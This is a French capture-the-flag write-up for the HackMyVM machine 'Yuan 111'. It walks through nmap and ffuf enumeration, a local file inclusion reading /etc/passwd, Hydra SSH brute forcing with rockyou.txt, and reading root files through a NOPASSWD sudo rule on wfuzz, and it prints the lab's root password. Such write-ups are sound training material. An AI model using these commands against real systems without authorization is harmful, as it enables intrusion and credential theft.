HackMyVM - Yuan 111 : LFI, brute force SSH et privesc via wfuzz | Meven | CTF & Security Skip to content
Meven | CTF & Security
Go back

HackMyVM - Yuan 111 : LFI, brute force SSH et privesc via wfuzz

1. Découverte des services

Je commence par un scan des ports principaux avec Nmap :

nmap -sC -sV --top-ports 5000 -T5 172.20.10.2

Résultats :

22/tcp open  ssh   OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open  http  Apache httpd 2.4.62 ((Debian))

On voit un serveur web sur le port 80 et le port SSH d’ouvert.


2. Analyse de l’application web

Le site accessible sur http://172.20.10.2 est un site statique à l’esthétique de site vitrine « vibe codeur » qui parle de rockyou.txt.

Page d'accueil Yuan 111

Je ne trouve rien de spécial sur la page ni dans le code source…


3. Énumération du site

Je décide alors d’essayer de fuzzer le site :

ffuf -u http://172.20.10.2:80/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -fc 500 -e .php,.zip,.txt,.html

Parmi les résultats, je trouve un fichier intéressant :

Le fichier ne donne rien quand on le curl :

curl http://172.20.10.2:80/file.php

Ça pourrait être une mauvaise piste, mais le paramètre file laisse penser à une Local File Inclusion (LFI).
Je tente alors :

curl "http://172.20.10.2:80/file.php?file=/etc/passwd"

Et ça marche :

tao:x:1000:1000:,,,:/home/tao:/bin/bash

On récupère ainsi un utilisateur local : tao.


4. Brute force SSH avec rockyou.txt

Je n’ai pas trouvé plus d’indices, et comme le thème du site est rockyou.txt, ça sent le brute force SSH sur le profil tao.

Je lance Hydra :

hydra -l tao -P /usr/share/wordlists/rockyou.txt ssh://172.20.10.2 -t 5

Hydra brute force Tao

Hydra finit par trouver :

Presque un peu gênant, j’aurais pu le trouver à la main ahah.

Connexion SSH :

ssh tao@172.20.10.2
# rockyou

Connexion SSH Tao

Flag user obtenu !


5. Escalade de privilège

On regarde ensuite les fichiers ou commandes accessibles en root via sudo :

sudo -l

Résultats :

(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

On remarque que wfuzz peut être exécuté en root sans mot de passe, ce qui est potentiellement très intéressant.


5.1. Lister les fichiers de /root avec wfuzz

L’idée est d’utiliser wfuzz pour lister les fichiers du répertoire /root via un service local :

sudo wfuzz -z dirwalk,/root -u http://localhost/FUZZ

Je vois notamment :


5.2. Récupérer le mot de passe root

Parce qu’on est curieux et qu’on veut voir le contenu du fichier qui porte le nom de la VM avant de récupérer le flag, on lit 111.txt avec wfuzz :

sudo wfuzz -z file,/root/111.txt -u http://localhost/FUZZ

Résultat :

q6I42RCMyMkDV45svyuF

C’est en fait le mot de passe root.

Je passe root :

su -
# q6I42RCMyMkDV45svyuF

Shell root Yuan 111

Puis je lis le flag :

cat /root/root.txt

Flag root obtenu !


Leçon retenue : Accorder wfuzz en NOPASSWD dans sudoers revient ici à offrir une lecture quasi illimitée des fichiers de root via HTTP, ce qui rend la privesc triviale. Toujours auditer attentivement sudo -l lors de la post‑exploitation.


Share this post on:

Previous Post
HackMyVM - Flute : GraphQL, SSH et privesc via ratd
Next Post
HackMyVM - Coolpgi : SQLi, extraction de creds et privesc via find